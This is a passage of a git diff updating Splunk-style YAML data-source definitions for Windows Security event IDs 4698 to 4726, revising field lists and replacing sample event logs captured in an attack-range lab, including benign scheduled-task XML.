src_subject_user_id + - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - TaskContent + - TaskName + - ThreadID + - timestamp - user + - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 04/26/2022 11:12:09 AM +example_log: | + 4698101280400x8020000000000000341052Securitytestlab-win-dc.attackrange.localATTACKRANGE\AdministratoradministratorATTACKRANGE0x7eb3a\CompMgmtLauncher<?xml version="1.0" encoding="UTF-16"?> + <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> + <RegistrationInfo> + <URI>\CompMgmtLauncher</URI> + </RegistrationInfo> + <Triggers> + <LogonTrigger> + <Enabled>true</Enabled> + </LogonTrigger> + </Triggers> + <Principals> + <Principal id="Author"> + <RunLevel>HighestAvailable</RunLevel> + <UserId>ATTACKRANGE\administrator</UserId> + <LogonType>InteractiveToken</LogonType> + </Principal> + </Principals> + <Settings> + <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> + <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> + <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> + <AllowHardTerminate>true</AllowHardTerminate> + <StartWhenAvailable>false</StartWhenAvailable> + <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> + <IdleSettings> + <Duration>PT10M</Duration> + <WaitTimeout>PT1H</WaitTimeout> + <StopOnIdleEnd>true</StopOnIdleEnd> + <RestartOnIdle>false</RestartOnIdle> + </IdleSettings> + <AllowStartOnDemand>true</AllowStartOnDemand> + <Enabled>true</Enabled> + <Hidden>false</Hidden> + <RunOnlyIfIdle>false</RunOnlyIfIdle> + <WakeToRun>false</WakeToRun> + <ExecutionTimeLimit>PT72H</ExecutionTimeLimit> + <Priority>7</Priority> + </Settings> + <Actions Context="Author"> + <Exec> + <Command>C:\Windows\System32\CompMgmtLauncher.exe</Command> + </Exec> + </Actions> + </Task>185773484629040073691631920testlab-win-dc.attackrange.local diff --git a/data_sources/windows_event_log_security_4699.yml b/data_sources/windows_event_log_security_4699.yml index 0017cf0583..20cbbb7032 100644 --- a/data_sources/windows_event_log_security_4699.yml +++ b/data_sources/windows_event_log_security_4699.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4699 id: 4727dead-d063-4333-9ddd-59823a416aff -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a scheduled task is deleted from the system. mitre_components: @@ -18,56 +18,38 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Name - - ComputerName - - Error_Code - - EventCode - - EventType - - Keywords - - LogName - - Logon_ID - - Message - - OpCode - - RecordNumber - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Task_Name - - Type - action - app - - body - - category - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Caller_Domain + - Caller_User_Name + - Channel + - Computer - dest - dest_nt_domain - - dest_nt_host - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain + - Logon_ID + - Name - name + - Opcode - product - punct + - RecordNumber - session_id - severity - severity_id @@ -77,17 +59,28 @@ fields: - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id + - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user + - Task + - TaskCategory + - TaskName + - timestamp - vendor - vendor_product + - Version output_fields: - dest -example_log: 11/12/2021 05:16:44 PM +example_log: | + 4699001280400x80200000000000003702198Securitywin-host-987.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0xA6E4D16\evilTask diff --git a/data_sources/windows_event_log_security_4700.yml b/data_sources/windows_event_log_security_4700.yml index 3403e64193..fb483e26ab 100644 --- a/data_sources/windows_event_log_security_4700.yml +++ b/data_sources/windows_event_log_security_4700.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4700 id: 89895c7b-2aba-41ca-ad12-8b6d290b5dde -version: 3 +version: 4 creation_date: '2025-03-11' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Steven Dick description: Data source object for Windows Event Log Security 4700 source: XmlWinEventLog:Security @@ -13,5 +13,132 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - app + - Caller_Domain + - Caller_User_Name + - change_type + - Channel + - ClientProcessId + - ClientProcessStartKey + - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID -example_log: 4700 0 0 12804 0 0x8020000000000000 344861 Security DC01.contoso.local S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\Microsoft\\StartListener 2015-09-22T19:03:06.9258653 CONTOSO\\dadmin LeastPrivilege CONTOSO\\dadmin InteractiveToken IgnoreNew true true true false false true false true true false false false P3D 7 C:\\Documents\\listener.exe + - EventRecordID + - eventtype + - FQDN + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Logon_ID + - Name + - name + - object + - object_attrs + - object_category + - Opcode + - ParentProcessId + - ProcessID + - product + - punct + - RecordNumber + - result + - RpcCallClientLocality + - session_id + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src_nt_domain + - src_subject_user_id + - src_user + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::eventtype + - Task + - TaskCategory + - TaskContent + - TaskName + - ThreadID + - timestamp + - user + - user_name + - vendor + - vendor_product + - Version +example_log: | + 4698101280400x8020000000000000355503124SecurityVICTIM_PC.ATTACK_RANGE.LANS-1-5-21-522199786-2067774556-312552118-87710ATTACKERATTACK_RANGE0x31b543a1\WallPaperChangeApp<?xml version="1.0" encoding="UTF-16"?> + <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> + <RegistrationInfo> + <Date>2025-02-06T15:42:02.105785</Date> + <Author>ATTACK_RANGE\ATTACKER</Author> + <URI>\WallPaperChangeApp</URI> + </RegistrationInfo> + <Triggers> + <CalendarTrigger> + <StartBoundary>2025-02-06T15:41:26.5273439</StartBoundary> + <Enabled>true</Enabled> + <ScheduleByDay> + <DaysInterval>1</DaysInterval> + </ScheduleByDay> + </CalendarTrigger> + </Triggers> + <Principals> + <Principal id="Author"> + <RunLevel>LeastPrivilege</RunLevel> + <UserId>ATTACK_RANGE\ATTACKER</UserId> + <LogonType>InteractiveToken</LogonType> + </Principal> + </Principals> + <Settings> + <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> + <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> + <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> + <AllowHardTerminate>true</AllowHardTerminate> + <StartWhenAvailable>false</StartWhenAvailable> + <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> + <IdleSettings> + <Duration>PT10M</Duration> + <WaitTimeout>PT1H</WaitTimeout> + <StopOnIdleEnd>true</StopOnIdleEnd> + <RestartOnIdle>false</RestartOnIdle> + </IdleSettings> + <AllowStartOnDemand>true</AllowStartOnDemand> + <Enabled>true</Enabled> + <Hidden>false</Hidden> + <RunOnlyIfIdle>false</RunOnlyIfIdle> + <WakeToRun>false</WakeToRun> + <ExecutionTimeLimit>P3D</ExecutionTimeLimit> + <Priority>7</Priority> + </Settings> + <Actions Context="Author"> + <Exec> + <Command>calc.exe</Command> + </Exec> + </Actions> + </Task>267401227875302792471275720VICTIM_PC.ATTACK_RANGE.LAN diff --git a/data_sources/windows_event_log_security_4702.yml b/data_sources/windows_event_log_security_4702.yml index bddee9b6ce..f707053daa 100644 --- a/data_sources/windows_event_log_security_4702.yml +++ b/data_sources/windows_event_log_security_4702.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4702 id: 167e378e-3675-4042-b611-d3bfb6d2abc7 -version: 3 +version: 4 creation_date: '2025-03-11' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Steven Dick description: Data source object for Windows Event Log Security 4702 source: XmlWinEventLog:Security @@ -13,5 +13,132 @@ supported_TA: url: https://splunkbase.splunk.com/app/742 version: 11.0.3 fields: + - _time + - action + - ActivityID + - app + - Caller_Domain + - Caller_User_Name + - change_type + - Channel + - ClientProcessId + - ClientProcessStartKey + - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID -example_log: 4702 0 0 12804 0 0x8020000000000000 344863 Security DC01.contoso.local S-1-5-21-3457937927-2839227994-823803824-1104 dadmin CONTOSO 0x364eb \\Microsoft\\StartListener 2015-09-22T19:03:06.9258653 CONTOSO\\dadmin HighestAvailable CONTOSO\\dadmin InteractiveToken IgnoreNew true true true false false true false true true false false false P3D 7 C:\\Documents\\listener.exe + - EventRecordID + - eventtype + - FQDN + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Logon_ID + - Name + - name + - object + - object_attrs + - object_category + - Opcode + - ParentProcessId + - ProcessID + - product + - punct + - RecordNumber + - result + - RpcCallClientLocality + - session_id + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src_nt_domain + - src_subject_user_id + - src_user + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::eventtype + - Task + - TaskCategory + - TaskContent + - TaskName + - ThreadID + - timestamp + - user + - user_name + - vendor + - vendor_product + - Version +example_log: | + 4698101280400x8020000000000000355503124SecurityVICTIM_PC.ATTACK_RANGE.LANS-1-5-21-522199786-2067774556-312552118-87710ATTACKERATTACK_RANGE0x31b543a1\WallPaperChangeApp<?xml version="1.0" encoding="UTF-16"?> + <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> + <RegistrationInfo> + <Date>2025-02-06T15:42:02.105785</Date> + <Author>ATTACK_RANGE\ATTACKER</Author> + <URI>\WallPaperChangeApp</URI> + </RegistrationInfo> + <Triggers> + <CalendarTrigger> + <StartBoundary>2025-02-06T15:41:26.5273439</StartBoundary> + <Enabled>true</Enabled> + <ScheduleByDay> + <DaysInterval>1</DaysInterval> + </ScheduleByDay> + </CalendarTrigger> + </Triggers> + <Principals> + <Principal id="Author"> + <RunLevel>LeastPrivilege</RunLevel> + <UserId>ATTACK_RANGE\ATTACKER</UserId> + <LogonType>InteractiveToken</LogonType> + </Principal> + </Principals> + <Settings> + <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> + <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries> + <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries> + <AllowHardTerminate>true</AllowHardTerminate> + <StartWhenAvailable>false</StartWhenAvailable> + <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> + <IdleSettings> + <Duration>PT10M</Duration> + <WaitTimeout>PT1H</WaitTimeout> + <StopOnIdleEnd>true</StopOnIdleEnd> + <RestartOnIdle>false</RestartOnIdle> + </IdleSettings> + <AllowStartOnDemand>true</AllowStartOnDemand> + <Enabled>true</Enabled> + <Hidden>false</Hidden> + <RunOnlyIfIdle>false</RunOnlyIfIdle> + <WakeToRun>false</WakeToRun> + <ExecutionTimeLimit>P3D</ExecutionTimeLimit> + <Priority>7</Priority> + </Settings> + <Actions Context="Author"> + <Exec> + <Command>calc.exe</Command> + </Exec> + </Actions> + </Task>267401227875302792471275720VICTIM_PC.ATTACK_RANGE.LAN diff --git a/data_sources/windows_event_log_security_4703.yml b/data_sources/windows_event_log_security_4703.yml index 310316fd12..bfafc15e78 100644 --- a/data_sources/windows_event_log_security_4703.yml +++ b/data_sources/windows_event_log_security_4703.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4703 id: e256673b-16e8-4b74-b7aa-9eed6ce67072 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a token right is adjusted on a Windows system. mitre_components: @@ -18,93 +18,104 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name + - change_type - Channel - Computer + - dest + - dest_nt_domain - DisabledPrivilegeList + - dvc + - dvc_nt_host - EnabledPrivilegeList - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - ProcessId - - ProcessName - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetLogonId - - TargetUserName - - TargetUserSid - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dest_nt_domain - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name + - name - object - object_attrs - object_category - object_id + - Opcode - process - process_id - process_name - process_path + - ProcessID + - ProcessId + - ProcessName - product - punct + - RecordNumber - result - session_id + - severity + - severity_id + - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetLogonId + - TargetUserName + - TargetUserSid + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4703001331700x8020000000000000328761Securitywin-host-ctus-attack-range-115WIN-HOST-CTUS-A\AdministratorAdministratorWIN-HOST-CTUS-A0x288b91WIN-HOST-CTUS-A\AdministratorAdministratorWIN-HOST-CTUS-A0x288b91C:\Temp\poc_2\c2_agent.exe0x570SeDebugPrivilege- +example_log: | + 4703001331700x8020000000000000328878Securitywin-host-ctus-attack-range-115NT AUTHORITY\SYSTEMWIN-HOST-CTUS-A$WORKGROUP0x3e7NULL SIDWIN-HOST-CTUS-A$WORKGROUP0x3e7C:\Windows\System32\svchost.exe0x35cSeAssignPrimaryTokenPrivilege + SeIncreaseQuotaPrivilege + SeSecurityPrivilege + SeTakeOwnershipPrivilege + SeLoadDriverPrivilege + SeSystemtimePrivilege + SeBackupPrivilege + SeRestorePrivilege + SeShutdownPrivilege + SeSystemEnvironmentPrivilege + SeUndockPrivilege + SeManageVolumePrivilege- diff --git a/data_sources/windows_event_log_security_4719.yml b/data_sources/windows_event_log_security_4719.yml index bf7bc7d2aa..42ae84ebe1 100644 --- a/data_sources/windows_event_log_security_4719.yml +++ b/data_sources/windows_event_log_security_4719.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4719 id: 954033e6-dd05-4775-a1f2-1f19632f4420 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a system audit policy is modified on a Windows system. mitre_components: @@ -18,80 +18,81 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - AuditPolicyChanges - Caller_Domain - Caller_User_Name - CategoryId + - change_type - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubcategoryGuid - - SubcategoryId - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name + - object - object_attrs - object_category + - Opcode + - ProcessID - product - punct + - RecordNumber + - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status + - SubcategoryGuid + - SubcategoryId - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4719001356800x8020000000000000353597Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x3e7%%8276%%13312{0CCE922B-69AE-11D9-BED3-505054503030}%%8448, %%8450 +example_log: | + 4719001356800x8020000000000000353597Securityar-win-dc.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-DC$ATTACKRANGE0x3e7%%8276%%13312{0CCE922B-69AE-11D9-BED3-505054503030}%%8448, %%8450 diff --git a/data_sources/windows_event_log_security_4720.yml b/data_sources/windows_event_log_security_4720.yml index 1372f74573..822fa31f3d 100644 --- a/data_sources/windows_event_log_security_4720.yml +++ b/data_sources/windows_event_log_security_4720.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4720 id: 7ef1c9e5-691b-48c2-811b-eba91d2d2f1d -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a new user account is created on a Windows system. mitre_components: @@ -17,100 +17,108 @@ supported_TA: version: 11.0.3 fields: - _time - - Account_Domain - - Account_Expires - - Account_Name - - Allowed_To_Delegate_To - - CategoryString - - ComputerName - - Display_Name - - Error_Code - - EventCode - - EventType - - Home_Directory - - Home_Drive - - Keywords - - LogName - - Logon_Hours - - Logon_ID - - MSADChangedAttributes - - Message - - New_UAC_Value - - Old_UAC_Value - - OpCode - - Password_Last_Set - - Primary_Group_ID - - Profile_Path - - RecordNumber - - SAM_Account_Name - - SID_History - - Script_Path - - Security_ID - - SourceName - - Subject_Account_Domain - - Subject_Account_Name - - Subject_Logon_ID - - Subject_Security_ID - - TaskCategory - - Type - - User_Parameters - - User_Principal_Name - - User_Workstations + - AccountExpires - action + - AllowedToDelegateTo - app - - body - - category + - Caller_Domain + - Caller_User_Name + - CategoryString - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone + - Channel + - Computer - dest - dest_nt_domain - - dest_nt_host + - DisplayName - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid + - HomeDirectory + - HomePath - host - id - index + - Keywords + - Level - linecount - - member_dn - - member_id - - member_nt_domain - - msad_action + - Logon_ID + - LogonHours + - Name - name + - NewUacValue + - object + - object_attrs - object_category + - object_id + - OldUacValue + - Opcode + - PasswordLastSet + - PrimaryGroupId + - PrivilegeList + - ProcessID - product + - ProfilePath - punct + - RecordNumber - result + - SamAccountName + - ScriptPath - session_id - severity - severity_id + - SidHistory - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user + - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - - user_group_id + - user_group + - user_name + - UserAccountControl + - UserParameters + - UserPrincipalName + - UserWorkstations - vendor - vendor_product + - Version output_fields: - dest -example_log: 10/09/2020 10:41:26 AM +example_log: | + 4720001382400x80200000000000001263740Securityar-win-dc.attackrange.localunprivATTACKRANGEATTACKRANGE\unprivATTACKRANGE\AdministratorAdministratorATTACKRANGE0x2cc38d-unprivunrpivunpriv@attackrange.local-----%%1794%%1794513-0x00x15 + %%2080 + %%2082 + %%2084--%%1793 diff --git a/data_sources/windows_event_log_security_4723.yml b/data_sources/windows_event_log_security_4723.yml index 5f96b26f47..c5f2c654d4 100644 --- a/data_sources/windows_event_log_security_4723.yml +++ b/data_sources/windows_event_log_security_4723.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4723 id: df19b271-57c8-4f31-817a-6c5566985484 -version: 1 +version: 2 creation_date: '2026-06-15' -modification_date: '2026-06-15' +modification_date: '2026-10-14' author: Raven Tait, Splunk description: Logs an event when an attempt is made to change an account's password, whether successful or not. mitre_components: @@ -17,68 +17,51 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source @@ -89,17 +72,32 @@ fields: - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 472300138240 0x8010000000000000 781490 Security WIN10-21H1.strt.labs AdministratorWIN10-21H1 S-1-5-21-1538153195-943065003-848949206-500 S-1-5-21-1538153195-943065003-848949206-1003bob WIN10-21H10x61a292 - +example_log: | + 4723001382400x8010000000000000781490SecurityWIN10-21H1.snapattack.labs AdministratorWIN10-21H1S-1-5-21-1538153195-943065003-848949206-500S-1-5-21-1538153195-943065003-848949206-1003bobWIN10-21H10x61a292- diff --git a/data_sources/windows_event_log_security_4724.yml b/data_sources/windows_event_log_security_4724.yml index 81c019c3b4..1a0fbf017d 100644 --- a/data_sources/windows_event_log_security_4724.yml +++ b/data_sources/windows_event_log_security_4724.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4724 id: 117fe51f-93f8-4589-8e8b-c6b7b7154c7d -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when an attempt is made to reset an account's password, whether successful or not. mitre_components: @@ -17,89 +17,86 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4724001382400x8020000000000000276779Securityar-win-dc.attackrange.localTRUMAN_CLEMENTSATTACKRANGEATTACKRANGE\TRUMAN_CLEMENTSATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 +example_log: | + 4724001382400x8020000000000000276691Securityar-win-dc.attackrange.localBARBARA_ONEALATTACKRANGEATTACKRANGE\BARBARA_ONEALATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 diff --git a/data_sources/windows_event_log_security_4725.yml b/data_sources/windows_event_log_security_4725.yml index ab583b54cf..b8c1a4cd63 100644 --- a/data_sources/windows_event_log_security_4725.yml +++ b/data_sources/windows_event_log_security_4725.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4725 id: 31fd887d-0d14-44cc-bb64-80063a9f2968 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account has been disabled in Active Directory. mitre_components: @@ -17,89 +17,86 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - src_user_name - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - ta_windows_security_CategoryString - tag - tag::eventtype - - timeendpos - - timestartpos + - Target_Domain + - Target_User_Name + - TargetDomainName + - TargetSid + - TargetUserName + - Task + - TaskCategory + - ThreadID + - timestamp - user - user_group - user_name - vendor - vendor_product + - Version output_fields: - dest -example_log: 4725001382400x8020000000000000278771Securityar-win-dc.attackrange.localWILFORD_SUTTONATTACKRANGEATTACKRANGE\WILFORD_SUTTONATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 +example_log: | + 4725001382400x8020000000000000278688Securityar-win-dc.attackrange.localROD_RUSSELLATTACKRANGEATTACKRANGE\ROD_RUSSELLATTACKRANGE\AdministratorAdministratorATTACKRANGE0x592d1 diff --git a/data_sources/windows_event_log_security_4726.yml b/data_sources/windows_event_log_security_4726.yml index 93d2716a2e..5184ce0c9a 100644 --- a/data_sources/windows_event_log_security_4726.yml +++ b/data_sources/windows_event_log_security_4726.yml @@ -1,8 +1,8 @@ name: Windows Event Log Security 4726 id: 0b56dcd7-0f72-4a05-9226-d6059781737b -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs an event when a user account is deleted from Active Directory. mitre_components: @@ -17,90 +17,317 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app - Caller_Domain - Caller_User_Name - CategoryString + - change_type - Channel - Computer - - Error_Code - - EventCode - - EventData_Xml - - EventID - - EventRecordID - - Guid - - Keywords - - Level - - Logon_ID - - Name - - Opcode - - PrivilegeList - - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - TargetDomainName - - TargetSid - - TargetUserName - - Target_Domain - - Target_User_Name - - Task - - ThreadID - - Version - - action - - app - - change_type - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - dest - dest_nt_domain - dvc - dvc_nt_host + - Error_Code - event_id + - event_time + - EventCode + - EventData_Xml + - EventID + - EventRecordID - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Logon_ID + - Name - name - object - object_attrs - object_category - object_id + - Opcode + - PrivilegeList + - ProcessID - product - punct + - RecordNumber - result - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - 